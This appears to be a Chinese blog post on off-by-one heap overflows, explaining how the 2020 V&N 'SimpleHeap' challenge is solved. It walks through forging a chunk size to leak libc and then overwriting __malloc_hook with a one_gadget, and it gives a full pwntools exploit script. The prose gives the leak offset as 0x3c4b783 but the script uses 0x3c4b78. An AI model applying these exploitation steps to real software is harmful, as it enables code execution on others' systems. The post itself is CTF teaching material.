off-by-one /overlap

off-by-one漏洞体现在堆利用上,一般是输入功能里比能够多溢出一个字节的漏洞。

这个漏洞一般是菜单题中edit功能可以溢出一个字节。

这里先涉及到一个知识:在我们申请chunk的时候,如果我们申请的大小是0x···尾数是8的的时候申请的堆块的最后8字节就会使用下一个chunk的prev_size位,我们多溢出的一个字节就可以用来覆盖下一个chunk的size位。

这里以2020V&N公开赛的SimpleHeap为例,讲述该题泄露libc基址的过程。

该程序在编写用address这个数组存放了每个申请到堆块的地址, 当我们申请到堆块的时候,会把返回的地址存放在address数组中。当堆块被free掉,address会清0。

程序对申请的堆块有大小限制,<0x6F,限制了我们用unsortedbin来泄露libc。但是我们可以通过漏洞来伪造一个unsortedbin。

漏洞点:

溢出一字节

泄露libc思路

Add(0x18,'a'*0x18)#0
Add(0x18,'a'*0x68)#1
Add(0x18,'a'*0x68)#2
Add(0x18,'a'*0x18)#3

Heap: chunk 0 size:0x21

chunk 1 size:0x71

chunk 2 size :0x71

chunk 3 size:0x21

Edit(0, 'a' * 0x18 + p8(0xe1))

通过这个单字节的溢出将chunk1的size位字节伪造成0xe1(正好是0x70+0x70+1)

heap: chunk 0 size:0x21

chunk 1 size:0xe1

chunk 3 size:0x21

这个时候chunk1和chunk2合并成了一个chunk,大小符合unsortedbin的大小,我们的机会就来了

delete(1)#这时chunk1就被放入unsortedbin里面了

但是因为chunk1被delete了,address[1]的位置被清空了

所以不能直接打印出来,我们需要再将1申请出来,把unsoredbin切割一下

chunk1的fd处的值就是main_arena+0x58

Add(0x68, 'a') # malloc chunk1 again 

chunk2的fd上正好是main_arena+0x58

此时address[2]没被清空,可以打印出来

show(2)#fd只接受6位就好了后面补'\x00'
libc=u64(sh.recv(6).ljust(8,'\x00')) - 0x3c4b783#调试到是多少位的数就接受多少位

至此,泄露libc完成,接下来就是常规的劫持__malloc_hook

malloc_hook和realloc_hook的相互配合触发one_gadget

完整exp:

from pwn import*
#sh = process('./SimpleHeap')
sh = remote('node3.buuoj.cn',29969)
libc = ELF('./libc-2.23.so')
def Add(size,content):
    sh.recvuntil("choice: ")
    sh.sendline('1')
    sh.recvuntil('size?')
    sh.sendline(str(size))
    sh.sendafter('content:', content)

def Edit(idx,content):
    sh.sendlineafter('choice:', str(2))
    sh.sendlineafter('idx?', str(idx))
    sh.sendafter('content:', content)

def show(idx):
    sh.sendlineafter('choice:', str(3))
    sh.sendlineafter('idx?', str(idx))

def delete(idx):
    sh.sendlineafter('choice:', str(4))
    sh.sendlineafter('idx?', str(idx))

def debug():
    gdb.attach(sh)
    pause()

Add(0x18, b'a') # 0
Add(0x68, b'a') # 1 
Add(0x68, b'a') # 2 
Add(0x18, b'a') # 3 
#debug()
Edit(0, b'a' * 0x18 + p8(0xe1))
#debug()
delete(1)
#debug()
Add(0x68, b'a') # 1 
#debug()
show(2)#leak libc
#debug()
libc_base=u64(sh.recv(6).ljust(8,'\x00')) - 0x3c4b78
log.info('libc_base:'+hex(libc_base))

malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['__libc_realloc']
fake_chunk = malloc_hook - 0x23
one_gadget = libc_base + 0x4526a
#log.info('one_gadget:'+hex(one_gadget))
Add(0x68, 'b') # 4  2
delete(4)#take idx2 from unsortedbin to fastbin
Edit(2, p64(fake_chunk) + b'\x0a')#idx2's fd->fake_chunk
#debug()
Add(0x68,'c')
#debug()
payload = p8(0)*11
payload += p64(one_gadget) 
payload+= p64(libc_base+0x846C0+0xc)
Add(0x68,payload)#get   idx8  malloc_hook chunk
#debug()
sh.recvuntil("choice: ")
sh.sendline('1')
sh.recvuntil('size?')
sh.sendline(str(0x18))
sh.interactive()

发表评论

电子邮件地址不会被公开。 必填项已用*标注